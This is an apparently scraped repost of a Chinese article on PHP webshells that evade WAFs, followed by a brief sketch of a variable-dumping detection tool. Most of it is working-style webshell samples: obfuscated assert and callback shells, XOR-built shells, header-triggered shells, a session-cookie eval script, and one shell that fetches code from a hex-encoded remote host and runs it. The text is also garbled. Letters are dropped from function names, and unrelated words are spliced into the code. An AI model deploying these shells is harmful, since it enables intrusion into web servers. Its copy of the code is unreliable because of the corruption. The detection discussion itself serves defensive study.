前言
之前在webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下php webshell绕过waf的方法,以此来验证下此方法是否合理。
如有错误,还请指出,不胜感激! :turtle:拜
在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。
自认为这种方法虽然会检测不完全(每个检大连医科测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。
为了验证该检测机制,首先了解下目前php webshell绕过waf的方法。
常见绕过waf的php webshell
字符串变形
大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰
<?php$a = ba64_decode("yxnzyxnz+00000____");$a = substr_replace($a,"ert",3);$a($_post['x']);?>ucwords()ucfirst()trim()substr_replace()substr()strtr()strtoupper()strtolower()strtok()str_rot13()chr()gzcompress()、gzdeflate()、gzencode()gzuncompress()、gzinflate()、gzdecode()ba64_encode()ba64_decode()pack()unpack()
自写函数
利用 asrt()
<?php function test($a){ $a($_post['x']);}test(asrt);?>increa
回调函数
<?php call_ur_func(asrt,array($_post[x]));?>call_ur_func_array()array_filter() array_walk() array_map()registregister_shutdown_function()register_tick_function()filter_var() filter_var_array() uasort() uksort() array_reduce()array_walk() array_walk_recursive()forward_static_call_array()
类
利用魔术方法、析构函数 __destruct() , __construct()
<?php class test{ public $a = ''; function __destruct(){ asrt("$this->a"); }}$b = new test;$b->a = $_post['x'];?>
利用外部文件
利用 curl , fsockopen 等发起网络请求再结合 file_get_contents
<?phperror_reporting(0);ssion_start();header("content-type:text/html;cha西北大学艺术学院rt=utf-8");if(empty($_ssion['api']))$_ssion['api']=substr(file_get_contents(sprintf('%s?%s',pack("h*",'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);@preg_replace("~(.*)~ies",gzuncompress($_ssion['api']),null);?>
无字符特征马
编码、异或、自增
<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='asrt';$__='_'.('%0d'^']').('%2f'^'`').('%盲点 美国励志电影0e'^']').('%09'^']'); // $__='_post';$___=$$__;$_($___[_]); // asrt($_post[_]);?>
特殊请求头
利用 getallheaders()
<?php$c铁道警官高等专科学校ai=getallheaders()['cai'];$dao=getallheaders()['dao'];if($cai!="" and $dao!=""){ $cai=gzuncompress(ba64_decode($cai));$cai(gzuncompress(ba64_decode($dao)));}header('http/1.1 404 not found');?>
全局变量
利用 getenv() , arrag_flip() , get_defined_vars() , ssion_id()
import requestsurl = 'http://localhost/?code=eval(hex2bin(ssion_id(ssion_start())));'payload = "phpinfo();".encode('hex')cookies = { 'phpssid':payload}r = requests.get(url=url,cookies=cookies)print r.content
php混淆加解密
以phpjiami为例
就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问:
php webshell检测方法
目前我所了解的webshell检测方式有:
机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等动态检测(沙箱)基于流量模式检测webshell:agent逆向算法+静态匹配检测webshell:比如d盾webshell查杀根据文件入度出度来检测实例展示
这里以phpjiami的webshell为例,其中 2.php 即为phpjiama的木马
可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。
简单检测思路
检测思路:
文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果
├── __init__.py
├── conf
│ ├── __init__.py
│ ├── config.py
├── core
│ ├── __init__.py
│ ├── all_check.py
│ ├── data_mysql.py
│ └── file_inotify.py
├── lib
│ ├── __init__.py
│ └── mantic_analysis_api.py
├── test
│ ├── __init__.py
│ ├── file_md5_move.py
│ ├── os_check.py
│ ├── random_file_test.py
│ └── …
├── web
│ ├── static
│ │ ├── css
│ │ │ ├── main.css
│ │ ├── images
│ │ │ └── background.jpg
│ │ └── js
│ │ └── upload.js
│ ├── templates
│ │ ├── index.html
│ ├── upload_file.php
│ └── include_file_to_tmp.php
├── webshell_check.py
conf中包含的是诸如下列的静态检测规则
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对www.887551.com的支持。
本文发布于:2023-04-07 08:43:20,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/ed3bb1ccafbbf475499a7fe115c60216.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:PHP常见过waf webshell以及最简单的检测方法.doc
本文 PDF 下载地址:PHP常见过waf webshell以及最简单的检测方法.pdf
留言与评论(共有 0 条评论) |